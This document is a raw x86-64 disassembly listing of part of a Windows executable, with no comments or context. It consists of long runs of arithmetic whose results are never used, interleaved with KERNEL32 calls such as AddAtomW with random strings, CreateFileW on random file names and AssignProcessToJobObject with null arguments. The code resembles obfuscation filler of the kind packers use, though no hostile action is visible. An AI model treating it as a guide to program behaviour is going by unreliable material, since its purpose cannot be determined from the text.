call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov byte [rsp + 0x7de], al
mov rax, qword [rsp + 0x19f00]
mov ecx, dword [rsp + 0xa7c4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad73c], eax
mov rax, qword [rsp + 0x19a48]
mov rcx, qword [0x1402bf768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd160], eax
lea rax, [rsp + 0xd3bc]
mov qword [rsp + 0x19f50], rax
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x19ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd268], eax
movzx eax, byte [rsp + 0x78f]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x43a], al
movzx eax, word [rsp + 0x3660]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x180c], ax
mov eax, dword [0x1402ad71c]
mov ecx, dword [rsp + 0xd3d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa368]
mov dword [rsp + 0xd3d8], eax
mov rax, qword [rsp + 0x19eb0]
mov ecx, dword [rsp + 0xb2e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa234], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbfa4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad740], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9148]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc18], eax
mov rax, qword [rsp + 0x19898]
movzx eax, byte [rax]
mov byte [rsp + 0x7df], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3624], ax
movzx eax, byte [rsp + 0x580]
movzx ecx, byte [rsp + 0x766]
add eax, ecx
mov byte [rsp + 0x4f3], al
movzx eax, word [rsp + 0x252c]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x376c], ax
lea rax, [rsp + 0xd344]
mov qword [rsp + 0x19f58], rax
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93c4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
mov rcx, qword [0x1402bf688]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x308c], ax
movzx eax, byte [rsp + 0x414]
mov rcx, qword [rsp + 0x19e48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402bf720], al
mov eax, dword [rsp + 0xcee8]
mov dword [rsp + 0xd3dc], eax
mov eax, dword [rsp + 0xd1bc]
movzx ecx, al
mov eax, dword [rsp + 0x9da0]
shl eax, cl
mov dword [rsp + 0x9f50], eax
lea rax, [rsp + 0x95c8]
mov qword [rsp + 0x19f60], rax
mov rax, qword [rsp + 0x19dc0]
mov rcx, qword [rsp + 0x19ed0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd070], eax
movzx eax, word [rsp + 0x364c]
movzx ecx, word [0x1402ad650]
imul eax, ecx
mov word [rsp + 0x2338], ax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov byte [rsp + 0x7e0], al
mov eax, dword [rsp + 0xd2d4]
mov ecx, dword [rsp + 0xd0c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd124], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov dword [rsp + 0xd3e0], eax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x102]
sub eax, ecx
mov byte [0x1402acb77], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35a4]
and eax, ecx
mov word [rsp + 0x35b4], ax
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36c8]
imul eax, ecx
mov word [rsp + 0x25e0], ax
movzx eax, byte [rsp + 0x7d8]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x19bf8]
mov rcx, qword [rsp + 0x19b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19e50]
mov dword [rcx], eax
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd1cc], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd3e4], eax
mov eax, dword [rsp + 0xcea0]
mov dword [rsp + 0xd3e8], eax
mov rax, qword [rsp + 0x19c58]
mov rcx, qword [rsp + 0x19f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd160], eax
mov eax, dword [rsp + 0xc770]
mov dword [rsp + 0xd3ec], eax
mov eax, dword [rsp + 0xab38]
mov ecx, dword [0x1402ad728]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
movzx eax, byte [rsp + 0x7a7]
movzx ecx, byte [rsp + 0x7ae]
sub eax, ecx
mov rcx, qword [rsp + 0x19c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov word [0x1402bf618], ax
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcf04], eax
mov eax, dword [rsp + 0xb404]
mov ecx, dword [rsp + 0xd060]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb444], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xce50], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcfd4]
shl eax, cl
mov dword [rsp + 0xd31c], eax
mov eax, dword [0x1402ad708]
mov dword [rsp + 0xd3f0], eax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19f00]
mov qword [rsp + 0x19f68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19f68]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x19f58]
mov dword [rcx], eax
movzx eax, word [rsp + 0x308c]
movzx ecx, word [rsp + 0x3764]
or eax, ecx
mov word [rsp + 0x3720], ax
movzx eax, byte [rsp + 0x63d]
mov byte [rsp + 0x7e1], al
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7c5], al
movsx eax, word [rsp + 0x36cc]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x231c], ax
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd0dc]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad744], eax
mov rax, qword [rsp + 0x19c58]
mov ecx, dword [rsp + 0x97f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf7c], eax
movzx eax, word [rsp + 0x3674]
mov rcx, qword [0x1402bf730]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36bc], ax
lea rax, [rsp + 0x63d]
mov qword [rsp + 0x19f70], rax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xce54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd32c], eax
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcf84], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov dword [rsp + 0xd3f4], eax
mov eax, dword [rsp + 0xcedc]
mov ecx, dword [0x1402ad668]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd108], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd150], eax
lea rcx, str.UJH0KMC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x37b8], ax
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
mov word [rsp + 0x37bc], ax
movzx eax, byte [rsp + 0x7b2]
movzx ecx, byte [rsp + 0x17a]
sub eax, ecx
mov byte [0x1402bf720], al
mov edx, 0x525
mov rcx, qword [rsp + 0x199b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd224], eax
lea rdx, [rsp + 0xd3f8]
mov rcx, qword [rsp + 0x19d88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd338], eax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x7fa4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb944], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ef8]
mov qword [rsp + 0x19f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19f78]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd1ac], eax
mov eax, dword [rsp + 0xd234]
mov dword [rsp + 0xd3fc], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd18c], eax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x55e], al
movzx eax, word [rsp + 0x269c]
mov word [rsp + 0x37c0], ax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7d3], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xccdc], eax
movzx eax, word [rsp + 0x36d4]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad67c], ax
mov eax, dword [rsp + 0xd354]
mov dword [rsp + 0xd400], eax
mov eax, dword [rsp + 0xb6f0]
mov ecx, dword [rsp + 0xd0a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd120], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60a]
sub eax, ecx
mov byte [rsp + 0x61], al
movzx eax, word [0x1402bf61a]
movzx ecx, word [rsp + 0x1de0]
sub eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x19f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xce44], eax
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov dword [rsp + 0xd404], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19e08]
mov rcx, qword [rsp + 0x19c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd028], eax
mov rax, qword [rsp + 0x19c00]
mov ecx, dword [rsp + 0xd2b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad2c], eax
xor r9d, r9d
lea r8, [rsp + 0x19ed8]
mov rdx, qword [rsp + 0x19b38]
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xccf8], eax
movzx eax, byte [rsp + 0x590]
movzx ecx, byte [rsp + 0x7e1]
imul eax, ecx
mov byte [0x1402acbae], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd74], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov word [rsp + 0x37c4], ax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa25c], eax
mov eax, dword [rsp + 0xd3b0]
mov ecx, dword [0x1402ad6a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad98], eax
movsx eax, word [rsp + 0x2d38]
movsx ecx, word [rsp + 0x3774]
add eax, ecx
mov word [rsp + 0x36a8], ax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402bf644]
shl eax, cl
mov byte [rsp + 0x7d2], al
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov byte [rsp + 0x7e2], al
movzx eax, word [rsp + 0x3688]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19be8]
mov word [rcx], ax
mov eax, dword [rsp + 0x914c]
mov dword [rsp + 0xd408], eax
lea rax, [0x1402ad6dc]
mov qword [0x1402bf610], rax
mov eax, dword [rsp + 0xcef0]
movzx ecx, al
mov eax, dword [rsp + 0xc4b0]
sar eax, cl
mov dword [rsp + 0xd054], eax
mov eax, dword [rsp + 0xd324]
mov ecx, dword [rsp + 0xcfac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
mov rax, qword [0x1402bf638]
mov rcx, qword [rsp + 0x19c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd0cc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.xhyBXduBwRId3azsQZdlvlkY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19f80], rax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19e48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x787], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov word [rsp + 0x37c8], ax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd18c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd030], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rax, [rsp + 0xd0bc]
mov qword [rsp + 0x19f88], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcef8], eax
mov rax, qword [rsp + 0x19c10]
mov ecx, dword [0x1402ad708]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x19a70]
mov ecx, dword [rsp + 0xcdf0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad684], eax
movzx eax, byte [rsp + 0x78d]
movzx ecx, byte [rsp + 0x9a]
sub eax, ecx
mov rcx, qword [rsp + 0x19f70]
mov byte [rcx], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x37cc], ax
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35a4]
sub eax, ecx
mov word [rsp + 0x36e4], ax
movsx eax, byte [rsp + 0x3e7]
movsx ecx, byte [rsp + 0x7b1]
and eax, ecx
mov byte [rsp + 0x37b], al
mov rax, qword [0x1402bf670]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd344], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcdf8]
shl eax, cl
mov dword [rsp + 0xd244], eax
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
mov byte [rsp + 0x7e3], al
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36f8]
sar eax, cl
mov word [rsp + 0x308c], ax
mov rax, qword [rsp + 0x19ef0]
mov rcx, qword [rsp + 0x19ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad6e8], eax
mov eax, dword [rsp + 0xd11c]
mov dword [rsp + 0xd40c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x19cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xceb4], eax
mov rax, qword [rsp + 0x19a90]
mov ecx, dword [rsp + 0x7fc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9684], eax
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2964], ax
movzx eax, byte [rsp + 0x7bc]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7e2], al
movzx ecx, word [rsp + 0x36d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x37d0], ax
mov eax, dword [rsp + 0xa1dc]
mov dword [rsp + 0xd410], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov ecx, dword [0x1402ad708]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd378], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
lea rcx, [rsp + 0x19eb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov dword [rsp + 0xd414], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov dword [0x1402bf608], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfa0], eax
lea rcx, [rsp + 0x2d530]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd06c], eax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x102]
add eax, ecx
mov byte [rsp + 0x17d], al
lea rax, [rsp + 0x2d38]
mov qword [rsp + 0x19f90], rax
movzx eax, word [0x1402bf678]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19e00]
mov word [rcx], ax
lea rax, [rsp + 0x414]
mov qword [rsp + 0x19f98], rax
mov eax, dword [rsp + 0x9a40]
mov ecx, dword [rsp + 0xa990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x914c], eax
mov rax, qword [rsp + 0x19e90]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19c30]
mov dword [rcx], eax
lea rax, [rsp + 0x7bd]
mov qword [rsp + 0x19fa0], rax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37a8]
sub eax, ecx
mov word [0x1402ad6c4], ax
mov rax, qword [rsp + 0x19b28]
mov ecx, dword [rsp + 0xd240]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7a4], eax
mov eax, dword [rsp + 0xd1a4]
mov dword [rsp + 0xd418], eax
mov rax, qword [rsp + 0x19cf8]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19e78]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd41c], eax
mov eax, dword [rsp + 0xae44]
mov rcx, qword [0x1402bf760]
mov qword [rsp + 0x19fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19fa8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7fc0], eax
lea rax, [rsp + 0x78c]
mov qword [rsp + 0x19fb0], rax
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3784], ax
mov rax, qword [rsp + 0x19e90]
mov ecx, dword [rsp + 0xd418]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb3c4], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd370], eax
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd1cc], eax
movsx eax, byte [rsp + 0x7ac]
movsx ecx, byte [rsp + 0x62d]
add eax, ecx
mov byte [str._v_ap], al
movzx eax, word [rsp + 0x1bc8]
mov word [rsp + 0x37d4], ax
movzx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0x19e48]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7d7], al
mov rax, qword [0x1402bf668]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37ac]
and eax, ecx
mov rcx, qword [rsp + 0x197a8]
mov word [rcx], ax
mov eax, dword [rsp + 0xac00]
mov dword [rsp + 0xd420], eax
lea rdx, [rsp + 0xcef8]
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd424], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd0f8], eax
mov eax, dword [rsp + 0xb664]
mov ecx, dword [rsp + 0xd0f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a04], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xd3ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd094], eax
mov rax, qword [0x1402bf610]
mov ecx, dword [rsp + 0xce20]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19bd8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x36f0]
mov word [rsp + 0x37d8], ax
movzx eax, byte [rsp + 0x784]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402bf61e], al
mov rax, qword [rsp + 0x19eb0]
mov rcx, qword [rsp + 0x19f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9354], eax
mov eax, dword [rsp + 0xd0cc]
mov dword [rsp + 0xd428], eax
mov eax, dword [rsp + 0xd024]
mov ecx, dword [rsp + 0xb240]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf2c], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd84], eax
mov rax, qword [rsp + 0x19dc0]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb8d8], eax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6d3], al
movzx eax, word [rsp + 0x1f7c]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3794], ax
movzx eax, word [rsp + 0x3770]
mov word [rsp + 0x37dc], ax
movsx eax, byte [rsp + 0x7d2]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xafcc]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad748], eax
mov rcx, qword [rsp + 0x199c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf94], eax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0x19fb8], rax
movzx eax, byte [rsp + 0x7b4]
movzx ecx, byte [rsp + 0x7e1]
and eax, ecx
mov byte [rsp + 0x799], al
mov rax, qword [0x1402bf668]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3758], ax
mov eax, dword [rsp + 0xcf1c]
mov dword [rsp + 0xd42c], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcdd0], eax
mov eax, dword [rsp + 0xcde4]
mov ecx, dword [rsp + 0xa970]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x83c0], eax
mov eax, dword [rsp + 0xb6fc]
mov ecx, dword [rsp + 0xd0b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb240], eax
lea rcx, str.Oop8XDH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x37e0], ax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd168], eax
mov rcx, qword [rsp + 0x19f40]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcfa4], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19f70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x3184]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad6d8], ax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xd430], eax
mov eax, dword [rsp + 0xd090]
mov ecx, dword [rsp + 0xb984]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc658], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
mov dword [rsp + 0xd434], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd250], eax
mov rax, qword [rsp + 0x19cf8]
mov ecx, dword [rsp + 0xb90c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x19fc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19fc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8194], eax
mov rax, qword [rsp + 0x19dd0]
movzx eax, word [rax]
mov word [rsp + 0x37e4], ax
movsx eax, byte [rsp + 0x7d2]
movsx ecx, byte [rsp + 0x789]
sar eax, cl
mov byte [rsp + 0x7d9], al
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x69f], al
lea rax, [rsp + 0x37a0]
mov qword [0x1402bf600], rax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xd0f8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xae44], eax
mov eax, dword [rsp + 0xd30c]
mov ecx, dword [rsp + 0xd314]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd064], eax
movzx eax, byte [rsp + 0x38b]
mov byte [rsp + 0x7e4], al
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x36d4], ax
mov eax, dword [rsp + 0xd108]
mov dword [rsp + 0xd438], eax
mov eax, dword [rsp + 0xd078]
mov ecx, dword [rsp + 0x9684]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf14], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.iucNz8vnxWzHokP1O1D6zR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19fc8], rax
mov rax, qword [rsp + 0x19d20]
mov ecx, dword [rsp + 0xc9c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9418], eax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd05c], eax
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3668], ax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
mov word [0x1402bf5fc], ax
movzx eax, byte [rsp + 0x69f]
mov rcx, qword [rsp + 0x19f98]
